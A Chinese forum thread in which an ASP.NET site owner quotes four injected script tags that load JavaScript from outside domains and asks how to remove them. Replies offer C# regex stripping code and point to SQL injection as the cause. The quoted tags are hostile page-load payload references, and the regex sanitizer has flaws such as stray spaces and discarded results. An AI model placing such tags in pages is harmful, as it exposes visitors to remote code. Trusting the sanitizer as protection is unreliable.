请问asp.net中如何屏蔽等文字

[jiaxianglei]

<script src=http://cn.daxia123.cn/cn.js></script>
<script src=http://cn.jxmmtv.com/cn.js></script>
<script src=http://3bom%62.com/c.js></script>
<script src=http://e6t.3322.org/c.js></script>
只要发现<script开头</script>结尾的就删除这些文字,如何实现?

[wanghao3616]

//删除脚本
Htmlstring = Regex.Replace(Htmlstring, @"<script[^>]*?>.*?</script>", "",
    RegexOptions.IgnoreCase);

[编程有钱人了]

public string NoHTML(string Htmlstring) //去除HTML标记  
    {  
        //删除脚本  
        Htmlstring = Regex.Replace(Htmlstring, @" <script[^>]*?>.*? </script>",string.Empty, RegexOptions.IgnoreCase);  
        //删除HTML  
        Htmlstring = Regex.Replace(Htmlstring, @" <(.[^>]*)>",string.Empty, RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @"([\r\n])[\s]+",string.Empty, RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @"-->",string.Empty, RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @" <!--.*",string.Empty, RegexOptions.IgnoreCase);  

        Htmlstring = Regex.Replace(Htmlstring, @"&(quot|#34);", "\"", RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @"&(amp|#38);", "&", RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @"&(lt|#60);", " <", RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @"&(gt|#62);", ">", RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @"&(nbsp|#160);"," ", RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @"&(iexcl|#161);", "\xa1", RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @"&(cent|#162);", "\xa2", RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @"&(pound|#163);", "\xa3", RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @"&(copy|#169);", "\xa9", RegexOptions.IgnoreCase);  
        Htmlstring = Regex.Replace(Htmlstring, @"&#(\d+);",string.Empty, RegexOptions.IgnoreCase);  

        Htmlstring.Replace(" <",string.Empty);  
        Htmlstring.Replace(">",string.Empty);  
        Htmlstring.Replace("\r\n",string.Empty);  
        Htmlstring = HttpContext.Current.Server.HtmlEncode(Htmlstring).Trim();  
        return Htmlstring;  
    } 

[周公]

这些都是在数据库中吧，你的程序存在SQL注入漏洞，修复一下吧，然后在数据库中替换一下。

[张炜的技术博客]

防止sql 注入.对于get/post方式的参数.判断一下.
System.Web.HttpContext.Current.Request.QueryString get方式参数集合
System.Web.HttpContext.Current.Request.Form post方式参数集合.
然后在循环判断一下就可以了

[shalen520]

呵呵，被注入了，还是先找到注入点，再采取相应措施处理